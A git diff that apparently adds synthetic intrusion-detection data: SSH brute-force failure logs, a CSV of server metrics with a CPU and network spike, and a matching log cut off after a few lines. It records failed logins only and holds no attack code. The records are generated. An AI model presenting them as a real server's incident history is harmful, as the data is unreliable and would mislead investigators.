sshd[15409]: Failed password for invalid user oracle from 203.0.113.78 port 45535 ssh2 +Aug 26 14:04:17 sshd[15457]: Failed password for invalid user backup from 203.0.113.78 port 59344 ssh2 +Aug 26 14:04:18 sshd[15941]: Failed password for root from 203.0.113.15 port 57685 ssh2 +Aug 26 14:04:19 sshd[15993]: Failed password for user from 203.0.113.78 port 57975 ssh2 +Aug 26 14:04:19 sshd[15961]: Failed password for invalid user service from 198.51.100.201 port 53849 ssh2 +Aug 26 14:04:19 sshd[15042]: Failed password for invalid user postgres from 198.51.100.201 port 47001 ssh2 +Aug 26 14:04:20 sshd[15105]: Failed password for admin from 198.51.100.112 port 42889 ssh2 +Aug 26 14:04:20 sshd[15021]: Failed password for invalid user backup from 203.0.113.15 port 43548 ssh2 +Aug 26 14:04:20 sshd[15570]: Failed password for invalid user postgres from 203.0.113.78 port 47239 ssh2 +Aug 26 14:04:23 sshd[15251]: Failed password for invalid user postgres from 198.51.100.201 port 49365 ssh2 +Aug 26 14:04:23 sshd[15342]: Failed password for ubnt from 198.51.100.112 port 58709 ssh2 +Aug 26 14:04:23 sshd[15992]: Failed password for root from 203.0.113.15 port 52039 ssh2 +Aug 26 14:04:24 sshd[15969]: Failed password for invalid user postgres from 203.0.113.15 port 54883 ssh2 +Aug 26 14:04:24 sshd[15307]: Failed password for support from 203.0.113.15 port 44518 ssh2 +Aug 26 14:04:24 sshd[15279]: Failed password for guest from 198.51.100.112 port 55314 ssh2 +Aug 26 14:04:25 sshd[15347]: Failed password for support from 203.0.113.15 port 45570 ssh2 +Aug 26 14:04:25 sshd[15731]: Failed password for ubnt from 198.51.100.201 port 41156 ssh2 +Aug 26 14:04:25 sshd[15111]: Failed password for admin from 198.51.100.112 port 42910 ssh2 +Aug 26 14:04:27 sshd[15606]: Failed password for test from 203.0.113.78 port 49542 ssh2 +Aug 26 14:04:27 sshd[15602]: Failed password for user from 198.51.100.112 port 57241 ssh2 +Aug 26 14:04:27 sshd[15710]: Failed password for ubnt from 198.51.100.112 port 40527 ssh2 +Aug 26 14:04:28 sshd[15996]: Failed password for guest from 198.51.100.112 port 54854 ssh2 +Aug 26 14:04:30 sshd[15802]: Failed password for support from 198.51.100.112 port 50714 ssh2 +Aug 26 14:04:30 sshd[15173]: Failed password for invalid user dev from 203.0.113.78 port 56183 ssh2 +Aug 26 14:04:31 sshd[15824]: Failed password for test from 203.0.113.15 port 53172 ssh2 +Aug 26 14:04:31 sshd[15045]: Failed password for admin from 203.0.113.15 port 48672 ssh2 +Aug 26 14:04:31 sshd[15330]: Failed password for support from 198.51.100.201 port 57393 ssh2 +Aug 26 14:04:31 sshd[15525]: Failed password for support from 203.0.113.78 port 57986 ssh2 +Aug 26 14:04:32 sshd[15289]: Failed password for test from 203.0.113.78 port 58060 ssh2 +Aug 26 14:04:32 sshd[15371]: Failed password for root from 203.0.113.78 port 47710 ssh2 +Aug 26 14:04:32 sshd[15751]: Failed password for test from 198.51.100.201 port 41416 ssh2 +Aug 26 14:04:32 sshd[15519]: Failed password for user from 198.51.100.201 port 56891 ssh2 +Aug 26 14:04:33 sshd[15936]: Failed password for test from 203.0.113.15 port 53209 ssh2 +Aug 26 14:04:33 sshd[15255]: Failed password for guest from 203.0.113.15 port 40450 ssh2 +Aug 26 14:04:34 sshd[15832]: Failed password for guest from 203.0.113.15 port 53375 ssh2 +Aug 26 14:04:34 sshd[15524]: Failed password for invalid user service from 198.51.100.201 port 42260 ssh2 +Aug 26 14:04:34 sshd[15849]: Failed password for invalid user ftpuser from 203.0.113.15 port 43205 ssh2 +Aug 26 14:04:35 sshd[15443]: Failed password for invalid user dev from 203.0.113.15 port 50950 ssh2 +Aug 26 14:04:35 sshd[15431]: Failed password for invalid user ftpuser from 198.51.100.112 port 50133 ssh2 +Aug 26 14:04:35 sshd[15922]: Failed password for admin from 203.0.113.78 port 41442 ssh2 +Aug 26 14:04:35 sshd[15182]: Failed password for invalid user oracle from 198.51.100.201 port 40061 ssh2 +Aug 26 14:04:36 sshd[15155]: Failed password for invalid user dev from 198.51.100.112 port 48586 ssh2 +Aug 26 14:04:37 sshd[15769]: Failed password for admin from 198.51.100.112 port 56028 ssh2 +Aug 26 14:04:38 sshd[15370]: Failed password for user from 203.0.113.78 port 50954 ssh2 +Aug 26 14:04:38 sshd[15426]: Failed password for admin from 203.0.113.15 port 52803 ssh2 +Aug 26 14:04:39 sshd[15374]: Failed password for invalid user backup from 198.51.100.112 port 50348 ssh2 +Aug 26 14:04:39 sshd[15451]: Failed password for admin from 203.0.113.15 port 53806 ssh2 +Aug 26 14:04:39 sshd[15498]: Failed password for root from 203.0.113.15 port 45722 ssh2 +Aug 26 14:04:39 sshd[15395]: Failed password for invalid user backup from 203.0.113.15 port 48971 ssh2 +Aug 26 14:04:39 sshd[15105]: Failed password for ubnt from 203.0.113.78 port 55242 ssh2 +Aug 26 14:04:40 sshd[15969]: Failed password for user from 198.51.100.201 port 58437 ssh2 +Aug 26 14:04:41 sshd[15804]: Failed password for invalid user dev from 203.0.113.15 port 42119 ssh2 +Aug 26 14:04:42 sshd[15340]: Failed password for support from 203.0.113.15 port 51425 ssh2 +Aug 26 14:04:42 sshd[15477]: Failed password for invalid user postgres from 203.0.113.78 port 52897 ssh2 +Aug 26 14:04:42 sshd[15807]: Failed password for invalid user backup from 198.51.100.201 port 52901 ssh2 +Aug 26 14:04:43 sshd[15656]: Failed password for invalid user service from 203.0.113.15 port 48986 ssh2 +Aug 26 14:04:43 sshd[15902]: Failed password for ubnt from 203.0.113.78 port 46068 ssh2 +Aug 26 14:04:43 sshd[15298]: Failed password for guest from 198.51.100.112 port 53324 ssh2 +Aug 26 14:04:44 sshd[15363]: Failed password for invalid user ftpuser from 198.51.100.112 port 40049 ssh2 +Aug 26 14:04:44 sshd[15185]: Failed password for user from 203.0.113.15 port 51320 ssh2 +Aug 26 14:04:45 sshd[15230]: Failed password for invalid user backup from 198.51.100.201 port 44649 ssh2 +Aug 26 14:04:46 sshd[15514]: Failed password for test from 203.0.113.15 port 44340 ssh2 +Aug 26 14:04:46 sshd[15095]: Failed password for user from 203.0.113.78 port 50632 ssh2 +Aug 26 14:04:46 sshd[15032]: Failed password for invalid user backup from 198.51.100.201 port 57677 ssh2 +Aug 26 14:04:47 sshd[15920]: Failed password for support from 198.51.100.112 port 52918 ssh2 +Aug 26 14:04:48 sshd[15590]: Failed password for ubnt from 198.51.100.112 port 48173 ssh2 +Aug 26 14:04:49 sshd[15910]: Failed password for test from 203.0.113.78 port 51101 ssh2 +Aug 26 14:04:49 sshd[15022]: Failed password for user from 203.0.113.78 port 56971 ssh2 +Aug 26 14:04:49 sshd[15544]: Failed password for invalid user oracle from 198.51.100.201 port 45842 ssh2 +Aug 26 14:04:50 sshd[15666]: Failed password for support from 203.0.113.78 port 59977 ssh2 +Aug 26 14:04:50 sshd[15316]: Failed password for test from 203.0.113.15 port 47612 ssh2 +Aug 26 14:04:52 sshd[15347]: Failed password for support from 198.51.100.112 port 53762 ssh2 +Aug 26 14:04:53 sshd[15629]: Failed password for admin from 198.51.100.112 port 50281 ssh2 +Aug 26 14:04:53 sshd[15000]: Failed password for ubnt from 198.51.100.112 port 44552 ssh2 +Aug 26 14:04:53 sshd[15139]: Failed password for invalid user ftpuser from 198.51.100.201 port 41657 ssh2 +Aug 26 14:04:54 sshd[15740]: Failed password for test from 198.51.100.201 port 44786 ssh2 +Aug 26 14:04:55 sshd[15718]: Failed password for invalid user oracle from 198.51.100.112 port 45763 ssh2 +Aug 26 14:04:55 sshd[15195]: Failed password for test from 203.0.113.15 port 56923 ssh2 +Aug 26 14:04:57 sshd[15068]: Failed password for invalid user ftpuser from 198.51.100.112 port 59784 ssh2 +Aug 26 14:04:58 sshd[15209]: Failed password for invalid user postgres from 203.0.113.78 port 54091 ssh2 +Aug 26 14:04:58 sshd[15065]: Failed password for invalid user service from 198.51.100.201 port 52486 ssh2 +Aug 26 14:04:59 sshd[15938]: Failed password for invalid user backup from 198.51.100.112 port 45952 ssh2 +Aug 26 14:05:00 sshd[15492]: Failed password for invalid user oracle from 203.0.113.15 port 43010 ssh2 +Aug 26 14:05:00 sshd[15550]: Failed password for root from 198.51.100.201 port 47116 ssh2 +Aug 26 14:05:00 sshd[15826]: Failed password for invalid user postgres from 203.0.113.78 port 57667 ssh2 +Aug 26 14:05:02 sshd[15846]: Failed password for test from 198.51.100.112 port 54556 ssh2 +Aug 26 14:05:02 sshd[15634]: Failed password for support from 198.51.100.201 port 43973 ssh2 +Aug 26 14:05:02 sshd[15024]: Failed password for ubnt from 198.51.100.201 port 50867 ssh2 +Aug 26 14:05:03 sshd[15226]: Failed password for support from 203.0.113.15 port 59414 ssh2 +Aug 26 14:05:03 sshd[15411]: Failed password for support from 203.0.113.15 port 57635 ssh2 +Aug 26 14:05:03 sshd[15380]: Failed password for invalid user oracle from 198.51.100.201 port 45440 ssh2 +Aug 26 14:05:03 sshd[15883]: Failed password for invalid user service from 198.51.100.112 port 51395 ssh2 +Aug 26 14:05:05 sshd[15925]: Failed password for invalid user dev from 203.0.113.15 port 40536 ssh2 +Aug 26 14:05:05 sshd[15721]: Failed password for ubnt from 203.0.113.15 port 47008 ssh2 +Aug 26 14:05:05 sshd[15157]: Failed password for invalid user ftpuser from 203.0.113.78 port 42120 ssh2 +Aug 26 14:05:05 sshd[15122]: Failed password for invalid user oracle from 198.51.100.201 port 55672 ssh2 +Aug 26 14:05:06 sshd[15688]: Failed password for support from 203.0.113.15 port 57587 ssh2 +Aug 26 14:05:08 sshd[15043]: Failed password for user from 198.51.100.201 port 53850 ssh2 +Aug 26 14:05:08 sshd[15300]: Failed password for invalid user service from 198.51.100.201 port 45920 ssh2 +Aug 26 14:05:09 sshd[15990]: Failed password for invalid user postgres from 198.51.100.201 port 54876 ssh2 +Aug 26 14:05:09 sshd[15007]: Failed password for invalid user dev from 198.51.100.201 port 40086 ssh2 +Aug 26 14:05:11 sshd[15437]: Failed password for invalid user oracle from 203.0.113.78 port 45017 ssh2 +Aug 26 14:05:11 sshd[15605]: Failed password for invalid user postgres from 198.51.100.112 port 42931 ssh2 +Aug 26 14:05:11 sshd[15714]: Failed password for invalid user ftpuser from 203.0.113.78 port 49729 ssh2 +Aug 26 14:05:12 sshd[15806]: Failed password for ubnt from 198.51.100.112 port 44998 ssh2 +Aug 26 14:05:12 sshd[15026]: Failed password for test from 198.51.100.112 port 54164 ssh2 +Aug 26 14:05:13 sshd[15508]: Failed password for user from 203.0.113.78 port 48809 ssh2 +Aug 26 14:05:13 sshd[15845]: Failed password for invalid user dev from 203.0.113.78 port 46947 ssh2 +Aug 26 14:05:13 sshd[15649]: Failed password for guest from 203.0.113.78 port 58154 ssh2 +Aug 26 14:05:14 sshd[15959]: Failed password for invalid user backup from 198.51.100.201 port 51375 ssh2 +Aug 26 14:05:15 sshd[15065]: Failed password for user from 198.51.100.201 port 56815 ssh2 +Aug 26 14:05:15 sshd[15150]: Failed password for ubnt from 198.51.100.201 port 40439 ssh2 +Aug 26 14:05:15 sshd[15569]: Failed password for ubnt from 198.51.100.201 port 47950 ssh2 +Aug 26 14:05:15 sshd[15353]: Failed password for invalid user ftpuser from 203.0.113.15 port 51772 ssh2 +Aug 26 14:05:16 sshd[15081]: Failed password for root from 203.0.113.78 port 56104 ssh2 +Aug 26 14:05:17 sshd[15462]: Failed password for support from 198.51.100.201 port 54888 ssh2 +Aug 26 14:05:17 sshd[15947]: Failed password for invalid user service from 203.0.113.15 port 40110 ssh2 +Aug 26 14:05:18 sshd[15026]: Failed password for support from 198.51.100.112 port 44361 ssh2 +Aug 26 14:05:19 sshd[15394]: Failed password for invalid user dev from 203.0.113.15 port 42426 ssh2 +Aug 26 14:05:20 sshd[15496]: Failed password for guest from 198.51.100.112 port 51481 ssh2 +Aug 26 14:05:20 sshd[15736]: Failed password for invalid user postgres from 203.0.113.15 port 51372 ssh2 +Aug 26 14:05:20 sshd[15508]: Failed password for invalid user service from 198.51.100.201 port 54571 ssh2 +Aug 26 14:05:21 sshd[15318]: Failed password for invalid user backup from 203.0.113.15 port 48469 ssh2 +Aug 26 14:05:22 sshd[15268]: Failed password for invalid user postgres from 203.0.113.15 port 41724 ssh2 +Aug 26 14:05:23 sshd[15000]: Failed password for invalid user backup from 198.51.100.112 port 56332 ssh2 +Aug 26 14:05:23 sshd[15123]: Failed password for test from 203.0.113.78 port 47930 ssh2 +Aug 26 14:05:23 sshd[15264]: Failed password for support from 198.51.100.112 port 57276 ssh2 +Aug 26 14:05:23 sshd[15558]: Failed password for root from 198.51.100.112 port 49805 ssh2 +Aug 26 14:05:24 sshd[15895]: Failed password for invalid user oracle from 203.0.113.15 port 44171 ssh2 +Aug 26 14:05:24 sshd[15850]: Failed password for guest from 198.51.100.201 port 49452 ssh2 +Aug 26 14:05:25 sshd[15278]: Failed password for guest from 203.0.113.15 port 51681 ssh2 +Aug 26 14:05:26 sshd[15973]: Failed password for admin from 198.51.100.112 port 52615 ssh2 +Aug 26 14:05:27 sshd[15533]: Failed password for invalid user ftpuser from 203.0.113.78 port 49403 ssh2 +Aug 26 14:05:27 sshd[15976]: Failed password for invalid user oracle from 198.51.100.201 port 53494 ssh2 +Aug 26 14:05:27 sshd[15570]: Failed password for root from 203.0.113.78 port 58588 ssh2 +Aug 26 14:05:27 sshd[15808]: Failed password for admin from 203.0.113.78 port 40699 ssh2 +Aug 26 14:05:28 sshd[15570]: Failed password for guest from 198.51.100.112 port 57032 ssh2 +Aug 26 14:05:28 sshd[15143]: Failed password for invalid user backup from 203.0.113.78 port 55325 ssh2 +Aug 26 14:05:28 sshd[15967]: Failed password for support from 198.51.100.112 port 54432 ssh2 +Aug 26 14:05:28 sshd[15320]: Failed password for root from 198.51.100.201 port 42571 ssh2 +Aug 26 14:05:29 sshd[15858]: Failed password for invalid user oracle from 203.0.113.78 port 59021 ssh2 +Aug 26 14:05:30 sshd[15656]: Failed password for invalid user ftpuser from 198.51.100.112 port 59781 ssh2 +Aug 26 14:05:30 sshd[15044]: Failed password for root from 203.0.113.15 port 47692 ssh2 +Aug 26 14:05:30 sshd[15548]: Failed password for invalid user backup from 198.51.100.112 port 48478 ssh2 +Aug 26 14:05:31 sshd[15735]: Failed password for invalid user postgres from 203.0.113.15 port 41070 ssh2 +Aug 26 14:05:31 sshd[15050]: Failed password for ubnt from 203.0.113.15 port 40319 ssh2 +Aug 26 14:05:31 sshd[15962]: Failed password for ubnt from 198.51.100.112 port 48939 ssh2 +Aug 26 14:05:32 sshd[15997]: Failed password for test from 203.0.113.15 port 49131 ssh2 +Aug 26 14:05:32 sshd[15336]: Failed password for test from 198.51.100.112 port 45962 ssh2 +Aug 26 14:05:32 sshd[15535]: Failed password for invalid user postgres from 198.51.100.112 port 50358 ssh2 +Aug 26 14:05:33 sshd[15779]: Failed password for support from 198.51.100.201 port 58110 ssh2 +Aug 26 14:05:33 sshd[15559]: Failed password for ubnt from 198.51.100.112 port 43093 ssh2 +Aug 26 14:05:33 sshd[15964]: Failed password for root from 198.51.100.201 port 47873 ssh2 +Aug 26 14:05:33 sshd[15013]: Failed password for invalid user dev from 203.0.113.78 port 45219 ssh2 +Aug 26 14:05:33 sshd[15308]: Failed password for invalid user ftpuser from 203.0.113.15 port 52395 ssh2 +Aug 26 14:05:34 sshd[15558]: Failed password for ubnt from 203.0.113.78 port 49978 ssh2 +Aug 26 14:05:35 sshd[15138]: Failed password for root from 198.51.100.201 port 45252 ssh2 +Aug 26 14:05:35 sshd[15848]: Failed password for invalid user postgres from 203.0.113.15 port 56371 ssh2 +Aug 26 14:05:36 sshd[15302]: Failed password for support from 203.0.113.78 port 50550 ssh2 +Aug 26 14:05:36 sshd[15471]: Failed password for user from 198.51.100.112 port 45460 ssh2 +Aug 26 14:05:36 sshd[15092]: Failed password for invalid user service from 198.51.100.112 port 50445 ssh2 +Aug 26 14:05:36 sshd[15824]: Failed password for support from 198.51.100.112 port 54866 ssh2 +Aug 26 14:05:37 sshd[15734]: Failed password for invalid user postgres from 203.0.113.78 port 54241 ssh2 +Aug 26 14:05:38 sshd[15891]: Failed password for invalid user backup from 198.51.100.201 port 49551 ssh2 +Aug 26 14:05:38 sshd[15336]: Failed password for invalid user backup from 198.51.100.112 port 47093 ssh2 +Aug 26 14:05:39 sshd[15542]: Failed password for test from 198.51.100.201 port 40377 ssh2 +Aug 26 14:05:39 sshd[15256]: Failed password for invalid user oracle from 203.0.113.78 port 50953 ssh2 +Aug 26 14:05:39 sshd[15367]: Failed password for invalid user postgres from 203.0.113.15 port 58056 ssh2 +Aug 26 14:05:39 sshd[15533]: Failed password for ubnt from 198.51.100.112 port 41270 ssh2 +Aug 26 14:05:39 sshd[15880]: Failed password for invalid user postgres from 198.51.100.201 port 59682 ssh2 +Aug 26 14:05:40 sshd[15073]: Failed password for admin from 198.51.100.201 port 43452 ssh2 +Aug 26 14:05:40 sshd[15675]: Failed password for invalid user dev from 198.51.100.201 port 46629 ssh2 +Aug 26 14:05:40 sshd[15952]: Failed password for invalid user postgres from 198.51.100.201 port 58300 ssh2 +Aug 26 14:05:40 sshd[15673]: Failed password for invalid user dev from 198.51.100.201 port 43634 ssh2 +Aug 26 14:05:40 sshd[15877]: Failed password for invalid user backup from 203.0.113.78 port 41725 ssh2 +Aug 26 14:05:41 sshd[15251]: Failed password for invalid user dev from 203.0.113.15 port 46893 ssh2 +Aug 26 14:05:41 sshd[15583]: Failed password for ubnt from 203.0.113.15 port 55525 ssh2 +Aug 26 14:05:41 sshd[15663]: Failed password for invalid user postgres from 203.0.113.15 port 41072 ssh2 +Aug 26 14:05:42 sshd[15254]: Failed password for invalid user service from 203.0.113.78 port 51922 ssh2 +Aug 26 14:05:43 sshd[15311]: Failed password for invalid user oracle from 203.0.113.15 port 49644 ssh2 +Aug 26 14:05:43 sshd[15247]: Failed password for ubnt from 198.51.100.112 port 51162 ssh2 +Aug 26 14:05:43 sshd[15683]: Failed password for support from 198.51.100.112 port 40426 ssh2 +Aug 26 14:05:43 sshd[15301]: Failed password for support from 203.0.113.78 port 51148 ssh2 +Aug 26 14:05:44 sshd[15500]: Failed password for invalid user ftpuser from 198.51.100.201 port 48456 ssh2 +Aug 26 14:05:45 sshd[15916]: Failed password for admin from 198.51.100.201 port 58686 ssh2 +Aug 26 14:05:45 sshd[15902]: Failed password for invalid user ftpuser from 198.51.100.201 port 44812 ssh2 +Aug 26 14:05:46 sshd[15363]: Failed password for guest from 198.51.100.112 port 53870 ssh2 +Aug 26 14:05:46 sshd[15067]: Failed password for invalid user postgres from 198.51.100.112 port 59402 ssh2 +Aug 26 14:05:47 sshd[15680]: Failed password for invalid user service from 198.51.100.201 port 41849 ssh2 +Aug 26 14:05:47 sshd[15784]: Failed password for guest from 203.0.113.15 port 58520 ssh2 +Aug 26 14:05:47 sshd[15285]: Failed password for test from 198.51.100.201 port 51249 ssh2 +Aug 26 14:05:48 sshd[15613]: Failed password for invalid user postgres from 203.0.113.15 port 52797 ssh2 +Aug 26 14:05:49 sshd[15528]: Failed password for ubnt from 198.51.100.112 port 46410 ssh2 +Aug 26 14:05:50 sshd[15674]: Failed password for invalid user postgres from 198.51.100.201 port 44818 ssh2 +Aug 26 14:05:50 sshd[15676]: Failed password for support from 198.51.100.112 port 51059 ssh2 +Aug 26 14:05:50 sshd[15774]: Failed password for ubnt from 198.51.100.201 port 57364 ssh2 +Aug 26 14:05:50 sshd[15250]: Failed password for root from 203.0.113.15 port 52361 ssh2 +Aug 26 14:05:51 sshd[15742]: Failed password for invalid user ftpuser from 198.51.100.112 port 57492 ssh2 +Aug 26 14:05:51 sshd[15817]: Failed password for invalid user backup from 203.0.113.78 port 42704 ssh2 +Aug 26 14:05:51 sshd[15468]: Failed password for invalid user ftpuser from 203.0.113.78 port 51371 ssh2 +Aug 26 14:05:52 sshd[15449]: Failed password for root from 203.0.113.15 port 48214 ssh2 +Aug 26 14:05:52 sshd[15673]: Failed password for test from 203.0.113.78 port 49107 ssh2 +Aug 26 14:05:53 sshd[15147]: Failed password for invalid user oracle from 203.0.113.78 port 44670 ssh2 +Aug 26 14:05:53 sshd[15488]: Failed password for guest from 198.51.100.112 port 44544 ssh2 +Aug 26 14:05:53 sshd[15908]: Failed password for invalid user backup from 198.51.100.201 port 46495 ssh2 +Aug 26 14:05:54 sshd[15461]: Failed password for guest from 203.0.113.78 port 47013 ssh2 +Aug 26 14:05:55 sshd[15232]: Failed password for invalid user postgres from 198.51.100.112 port 58698 ssh2 +Aug 26 14:05:55 sshd[15336]: Failed password for support from 203.0.113.15 port 58166 ssh2 +Aug 26 14:05:55 sshd[15983]: Failed password for invalid user postgres from 203.0.113.78 port 50410 ssh2 +Aug 26 14:05:56 sshd[15219]: Failed password for ubnt from 198.51.100.201 port 55531 ssh2 +Aug 26 14:05:56 sshd[15389]: Failed password for user from 198.51.100.112 port 57243 ssh2 +Aug 26 14:05:56 sshd[15442]: Failed password for admin from 203.0.113.15 port 58870 ssh2 +Aug 26 14:05:57 sshd[15846]: Failed password for invalid user ftpuser from 203.0.113.15 port 40219 ssh2 +Aug 26 14:05:57 sshd[15047]: Failed password for user from 198.51.100.112 port 53308 ssh2 +Aug 26 14:05:58 sshd[15951]: Failed password for invalid user backup from 203.0.113.15 port 56228 ssh2 +Aug 26 14:05:59 sshd[15636]: Failed password for invalid user dev from 198.51.100.112 port 59831 ssh2 +Aug 26 14:06:15 CRON[2498]: pam_unix(cron:session): session opened for user root by (uid=0) +Aug 26 14:06:15 CRON[2498]: pam_unix(cron:session): session closed for user root diff --git a/mali_dataset/scenario_7/mali_7_16.csv b/mali_dataset/scenario_7/mali_7_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..159fa73ff8aa2c20c67442b494b07a731413818c --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-10T14:00:00Z,12.43,36.37,20.07,0.51,0.68 +2025-08-10T14:00:05Z,11.85,35.35,23.66,0.9,1.06 +2025-08-10T14:00:10Z,13.33,40.16,25.35,1.13,1.1 +2025-08-10T14:00:15Z,16.75,37.0,26.92,1.19,0.92 +2025-08-10T14:00:20Z,17.05,43.44,27.87,0.74,1.17 +2025-08-10T14:00:25Z,13.0,41.4,28.83,0.59,1.37 +2025-08-10T14:00:30Z,19.82,39.77,15.09,0.53,1.49 +2025-08-10T14:00:35Z,19.32,38.08,28.59,0.82,1.16 +2025-08-10T14:00:40Z,11.84,42.96,25.44,0.72,0.85 +2025-08-10T14:00:45Z,19.94,37.65,17.35,1.05,0.99 +2025-08-10T14:00:50Z,18.17,44.0,21.65,0.54,0.85 +2025-08-10T14:00:55Z,17.83,43.68,26.99,0.79,1.02 +2025-08-10T14:01:00Z,14.86,36.14,25.83,1.21,0.69 +2025-08-10T14:01:05Z,17.27,35.42,17.26,0.89,0.97 +2025-08-10T14:01:10Z,13.92,44.32,20.67,0.88,1.09 +2025-08-10T14:01:15Z,13.96,36.52,15.63,1.05,1.23 +2025-08-10T14:01:20Z,15.71,37.57,28.34,0.53,0.82 +2025-08-10T14:01:25Z,13.22,42.85,18.4,1.23,0.51 +2025-08-10T14:01:30Z,18.13,40.37,22.55,1.02,1.35 +2025-08-10T14:01:35Z,15.94,39.02,22.94,1.15,1.12 +2025-08-10T14:01:40Z,14.38,43.28,18.77,1.46,0.73 +2025-08-10T14:01:45Z,15.81,35.82,21.57,1.24,0.64 +2025-08-10T14:01:50Z,13.6,35.3,28.31,1.3,1.2 +2025-08-10T14:01:55Z,12.71,44.05,25.54,1.09,1.02 +2025-08-10T14:02:00Z,10.33,39.52,16.14,1.04,1.25 +2025-08-10T14:02:05Z,17.01,35.68,21.32,0.54,0.61 +2025-08-10T14:02:10Z,18.3,38.39,19.18,0.99,0.7 +2025-08-10T14:02:15Z,14.43,42.5,23.11,1.11,0.58 +2025-08-10T14:02:20Z,17.68,35.77,22.26,1.5,1.39 +2025-08-10T14:02:25Z,17.47,40.37,18.34,1.24,0.55 +2025-08-10T14:02:30Z,93.48,43.92,20.76,8.34,4.4 +2025-08-10T14:02:35Z,98.95,41.87,16.09,9.72,3.01 +2025-08-10T14:02:40Z,86.35,37.23,25.99,14.28,4.14 +2025-08-10T14:02:45Z,99.48,36.54,20.07,13.84,2.1 +2025-08-10T14:02:50Z,87.45,43.83,25.61,10.48,2.55 +2025-08-10T14:02:55Z,91.74,41.01,18.95,11.74,4.19 +2025-08-10T14:03:00Z,98.66,38.36,27.0,11.77,4.01 +2025-08-10T14:03:05Z,94.73,38.03,29.05,12.7,4.85 +2025-08-10T14:03:10Z,95.27,36.76,28.81,12.2,4.48 +2025-08-10T14:03:15Z,98.77,37.15,18.15,9.3,2.98 +2025-08-10T14:03:20Z,99.31,39.76,28.32,8.13,2.21 +2025-08-10T14:03:25Z,87.38,40.21,22.71,13.13,3.8 +2025-08-10T14:03:30Z,99.04,45.64,21.53,9.67,4.17 +2025-08-10T14:03:35Z,93.9,43.32,30.01,13.86,3.86 +2025-08-10T14:03:40Z,97.8,41.39,18.48,12.01,3.42 +2025-08-10T14:03:45Z,87.47,40.71,24.4,10.62,3.32 +2025-08-10T14:03:50Z,97.49,39.84,22.42,10.89,4.68 +2025-08-10T14:03:55Z,85.29,41.3,23.19,11.4,4.67 +2025-08-10T14:04:00Z,98.32,41.69,29.0,13.63,4.48 +2025-08-10T14:04:05Z,86.18,44.35,16.44,9.9,2.2 +2025-08-10T14:04:10Z,87.43,37.06,22.49,13.66,2.77 +2025-08-10T14:04:15Z,88.18,38.58,25.75,8.2,4.66 +2025-08-10T14:04:20Z,96.8,38.29,26.0,11.24,3.87 +2025-08-10T14:04:25Z,85.09,44.19,29.25,14.88,2.23 +2025-08-10T14:04:30Z,87.74,44.77,24.65,8.7,2.17 +2025-08-10T14:04:35Z,95.21,40.65,25.82,8.53,3.17 +2025-08-10T14:04:40Z,95.85,41.15,30.28,11.16,2.57 +2025-08-10T14:04:45Z,99.56,43.62,25.36,14.92,2.47 +2025-08-10T14:04:50Z,90.41,46.0,24.79,12.55,3.24 +2025-08-10T14:04:55Z,90.59,38.1,19.65,9.81,4.69 +2025-08-10T14:05:00Z,99.1,37.64,29.18,14.82,3.31 +2025-08-10T14:05:05Z,87.98,38.3,25.6,12.99,2.23 +2025-08-10T14:05:10Z,93.81,38.9,17.9,9.78,4.18 +2025-08-10T14:05:15Z,86.31,38.07,26.09,11.42,2.69 +2025-08-10T14:05:20Z,94.82,45.29,30.7,14.4,2.98 +2025-08-10T14:05:25Z,95.42,42.76,21.41,12.03,2.71 +2025-08-10T14:05:30Z,85.31,42.39,16.53,11.31,4.38 +2025-08-10T14:05:35Z,86.94,38.14,16.11,9.2,2.07 +2025-08-10T14:05:40Z,95.73,44.57,30.45,10.9,3.82 +2025-08-10T14:05:45Z,99.52,38.12,29.66,14.68,2.37 +2025-08-10T14:05:50Z,12.73,40.1,15.94,1.26,0.87 +2025-08-10T14:05:55Z,18.63,36.75,20.62,1.17,0.77 +2025-08-10T14:06:00Z,13.24,43.23,26.63,1.17,1.52 +2025-08-10T14:06:05Z,12.75,38.59,22.84,0.95,1.01 +2025-08-10T14:06:10Z,21.62,36.71,24.29,1.43,1.47 +2025-08-10T14:06:15Z,14.1,43.37,18.04,0.9,1.02 +2025-08-10T14:06:20Z,14.45,42.25,28.4,0.64,0.7 +2025-08-10T14:06:25Z,12.1,39.64,27.61,1.54,1.11 +2025-08-10T14:06:30Z,16.22,41.37,24.02,1.05,1.43 +2025-08-10T14:06:35Z,19.44,39.68,18.19,1.34,1.49 +2025-08-10T14:06:40Z,21.63,40.28,24.25,0.64,1.46 +2025-08-10T14:06:45Z,18.47,40.63,21.38,1.18,1.55 +2025-08-10T14:06:50Z,17.16,43.17,24.07,1.14,1.15 +2025-08-10T14:06:55Z,13.57,41.65,26.88,0.99,1.32 +2025-08-10T14:07:00Z,14.47,38.99,21.17,1.56,1.51 +2025-08-10T14:07:05Z,14.47,37.51,21.2,1.21,0.72 +2025-08-10T14:07:10Z,18.94,37.17,26.29,1.39,1.09 +2025-08-10T14:07:15Z,17.22,44.98,23.87,1.46,0.83 +2025-08-10T14:07:20Z,13.76,41.38,28.49,1.59,1.14 +2025-08-10T14:07:25Z,20.46,36.76,25.33,0.76,1.18 diff --git a/mali_dataset/scenario_7/mali_7_16.log b/mali_dataset/scenario_7/mali_7_16.log new file mode 100644 index 0000000000000000000000000000000000000000..af7ef0b5656c88873404f927816c48e74a2d537c --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_16.log @@ -0,0 +1,308 @@ +Aug 10 14:00:00 server CRON[11755]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 10 14:00:50 server CRON[17004]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 10 14:01:40 server CRON[17079]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 10 14:02:30 server sshd[21031]: Invalid user invaliduser280 from 172.16.148.19 port 54917 +Aug 10 14:02:31 server sshd[21260]: Invalid user invaliduser261 from 172.16.101.154 port 55139 +Aug 10 14:02:31 server sshd[27715]: Invalid user invaliduser960 from 103.207.38.45 port 58893 +Aug 10 14:02:32 server sshd[22771]: Failed password for admin from 172.16.22.73 port 44247 ssh2 +Aug 10 14:02:32 server sshd[24232]: Failed password for user from 172.16.72.65 port 28772 ssh2 +Aug 10 14:02:33 server sshd[26123]: Invalid user invaliduser279 from 172.16.14.1 port 55299 +Aug 10 14:02:33 server sshd[27135]: Failed password for guest from 103.207.38.45 port 43541 ssh2 +Aug 10 14:02:35 server sshd[27536]: Invalid user invaliduser513 from 172.16.148.19 port 42480 +Aug 10 